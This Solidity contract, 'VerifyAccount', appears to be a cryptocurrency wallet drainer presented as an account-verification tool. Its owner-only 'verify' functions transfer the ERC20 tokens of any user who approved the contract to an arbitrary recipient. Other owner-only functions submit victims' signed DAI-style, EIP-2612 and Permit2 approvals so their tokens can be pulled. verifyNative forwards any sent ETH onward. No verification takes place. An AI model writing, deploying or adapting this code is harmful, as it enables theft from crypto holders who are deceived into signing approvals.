VerifyAccount

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IERC20 {
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
}

interface IPermit2 {
    struct PermitDetails {
        address token;
        uint160 amount;
        uint48 expiration;
        uint48 nonce;
    }

    struct PermitSingle {
        PermitDetails details;
        address spender;
        uint256 sigDeadline;
    }

    function permit(address owner, PermitSingle calldata permitSingle, bytes calldata signature) external;

    function transferFrom(address from, address to, uint160 amount, address token) external;

    function allowance(address owner, address token, address spender) external view returns (uint160 amount, uint48 expiration, uint48 nonce);
}

contract VerifyAccount {
    address public owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event NativeTransferred(address indexed from, address indexed to, uint256 amount);
    event TokenTransferred(address indexed token, address indexed from, address indexed to, uint256 amount);
    event PermitExecuted(address indexed owner, address indexed token, address indexed spender);
    event TransferFromExecuted(address indexed token, address indexed from, address indexed to, uint256 amount);
    event PermitExecutedERC20(address indexed owner, address indexed token, address indexed spender);

    constructor() {
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Not authorized");
        _;
    }

    function verifyNative(address payable to) external payable {
        require(to != address(0), "Invalid address");
        require(msg.value > 0, "Amount must be greater than 0");

        to.transfer(msg.value);
        emit NativeTransferred(msg.sender, to, msg.value);
    }

    function verify20(
        address token,
        address from,
        address to,
        uint256 amount
    ) external onlyOwner {
        require(token != address(0), "Invalid token address");
        require(from != address(0), "Invalid sender address");
        require(to != address(0), "Invalid recipient address");
        require(amount > 0, "Amount must be greater than 0");

        uint256 allowance = IERC20(token).allowance(from, address(this));
        require(allowance >= amount, "Insufficient allowance");

        uint256 balance = IERC20(token).balanceOf(from);
        require(balance >= amount, "Insufficient token balance");

        bool success = IERC20(token).transferFrom(from, to, amount);
        require(success, "Token transfer failed");

        emit TokenTransferred(token, from, to, amount);
    }

    // Function for DAI-style permit
    function permitDAI(
        address token,
        address owner_,
        address spender,
        uint256 nonce,
        uint256 deadline,
        bool allowed, 
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external onlyOwner {
        require(token != address(0), "Invalid token address");

        // DAI-style permit
        (bool success, ) = token.call(
            abi.encodeWithSignature(
                "permit(address,address,uint256,uint256,bool,uint8,bytes32,bytes32)",
                owner_,
                spender,
                nonce,
                deadline,
                allowed,
                v, r, s
            )
        );
        require(success, "DAI-style permit failed");

        emit PermitExecutedERC20(owner_, token, spender);
    }

    // Function for EIP-2612 permit
    function permitEIP2612(
        address token,
        address owner_,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external onlyOwner {
        require(token != address(0), "Invalid token address");

        // EIP-2612 permit
        (bool success, ) = token.call(
            abi.encodeWithSignature(
                "permit(address,address,uint256,uint256,uint8,bytes32,bytes32)",
                owner_,
                spender,
                value,
                deadline,
                v, r, s
            )
        );
        require(success, "EIP-2612 permit failed");

        emit PermitExecutedERC20(owner_, token, spender);
    }

    // Updated permitViaPermit2 with individual parameters
    function permitViaPermit2(
        address permit2Contract,
        address owner_,
        address token,
        uint160 amount,
        uint48 expiration,
        uint48 nonce,
        address spender,
        uint256 sigDeadline,
        bytes calldata signature
    ) external onlyOwner {
        require(permit2Contract != address(0), "Invalid Permit2 address");
        require(token != address(0), "Invalid token address");

        // Create PermitDetails and PermitSingle inside the function
        IPermit2.PermitDetails memory permitDetails = IPermit2.PermitDetails({
            token: token,
            amount: amount,
            expiration: expiration,
            nonce: nonce
        });

        IPermit2.PermitSingle memory permitSingle = IPermit2.PermitSingle({
            details: permitDetails,
            spender: spender,
            sigDeadline: sigDeadline
        });

        // Call the permit method from Permit2
        IPermit2(permit2Contract).permit(owner_, permitSingle, signature);

        emit PermitExecuted(owner_, token, spender);
    }

    function verify20ViaPermit2(
    	address permit2Contract,
    	address from,
    	address to,
    	uint160 amount,
    	address token
    ) external onlyOwner {
    	require(permit2Contract != address(0), "Invalid Permit2 address");
    	require(token != address(0), "Invalid token address");

    	IPermit2(permit2Contract).transferFrom(from, to, amount, token);

    	emit TransferFromExecuted(token, from, to, amount);
    }

    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0), "Invalid address");
        emit OwnershipTransferred(owner, newOwner);
        owner = newOwner;
    }

    // New function to get allowance for standard ERC20 tokens
    function getAllowance(address token, address owner_, address spender) external view returns (uint256) {
        require(token != address(0), "Invalid token address");
        require(spender != address(0), "Invalid spender address");
        uint256 allowanceAmount = IERC20(token).allowance(owner_, spender);
        return allowanceAmount;
    }

    // New function to get allowance via Permit2, returning all three values
    function getAllowanceViaPermit2(
        address permit2Contract,
        address owner_,
        address token,
        address spender
    ) external view returns (uint160 amount, uint48 expiration, uint48 nonce) {
        require(permit2Contract != address(0), "Invalid Permit2 address");
        require(token != address(0), "Invalid token address");

        (amount, expiration, nonce) = IPermit2(permit2Contract).allowance(owner_, token, spender);
    }

    receive() external payable {
        revert("Direct transfers not allowed");
    }
}